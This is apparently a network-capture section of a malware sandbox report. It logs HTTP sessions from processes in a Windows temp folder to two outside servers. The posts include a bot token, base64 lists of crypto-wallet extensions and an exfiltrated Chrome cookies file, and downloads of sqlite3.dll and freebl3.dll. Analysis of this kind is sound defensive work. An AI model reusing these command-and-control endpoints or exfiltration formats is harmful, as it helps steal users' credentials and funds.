Jul 26, 2024 13:49:09.312391043 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Jul 26, 2024 13:49:09.381855965 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDG Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="message"fplugins------JECBGCFHCFIDHIDHDGDG--
Jul 26, 2024 13:49:09.561253071 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jul 26, 2024 13:49:09.667716026 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEBKJDAFHJDGDHJKKEG Host: 85.28.47.31 Content-Length: 7883 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 13:49:09.667758942 CEST	7883	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 Data Ascii: ------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jul 26, 2024 13:49:10.304341078 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 13:49:11.479507923 CEST	90	OUT	GET /8405906461a5200c/sqlite3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 13:49:11.658869982 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jul 26, 2024 13:49:11.658909082 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jul 26, 2024 13:49:11.658924103 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	58986	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:09.382467031 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003002&unit=246122658369
Jul 26, 2024 13:49:10.082154989 CEST	209	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	59008	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:15.190779924 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003002&unit=246122658369
Jul 26, 2024 13:49:15.989954948 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	59014	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:16.146816015 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:16.897934914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:16.903867960 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:17.195483923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	59017	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:17.540932894 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:18.187223911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:18.200505972 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:18.448025942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	59020	85.28.47.31	80	3152	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:17.694243908 CEST	949	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKFBFIJJECGCAAAFCBG Host: 85.28.47.31 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JJKFBFIJJECGCAAAFCBGContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------JJKFBFIJJECGCAAAFCBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JJKFBFIJJECGCAAAFCBGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------JJKFBFIJJECGCAAAFCBG--
Jul 26, 2024 13:49:18.679270029 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 13:49:18.798377037 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJEGCGDGHDHIDHDGCB Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="file"------BGIJEGCGDGHDHIDHDGCB--
Jul 26, 2024 13:49:19.327512980 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 13:49:21.474529028 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBAKKECAEGCAKFIIIDH Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="file"------IDBAKKECAEGCAKFIIIDH--
Jul 26, 2024 13:49:22.199079037 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 13:49:23.067914963 CEST	90	OUT	GET /8405906461a5200c/freebl3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 13:49:23.243016958 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 26, 2024 13:49:23.243150949 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Jul 26, 2024 13:49:23.243163109 CEST	448	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Jul 26, 2024 13:49:23.243715048 CEST	1236	IN	Data Raw: 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b 44 24 14 2c 01 73 42 8b 44 24 18 2c 01 73 40 8b 44 24 20 2c 01 89 44 24 Data Ascii: t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@mbD$HD$
Jul 26, 2024 13:49:23.243727922 CEST	1236	IN	Data Raw: ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 51 e8 73 00 08 00 83 c4 04 bf ff ff ff ff 8b 45 0c 39 c6 75 0c 53 6a 00 Data Ascii: t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGH
Jul 26, 2024 13:49:23.244524956 CEST	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Jul 26, 2024 13:49:23.244535923 CEST	1236	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]
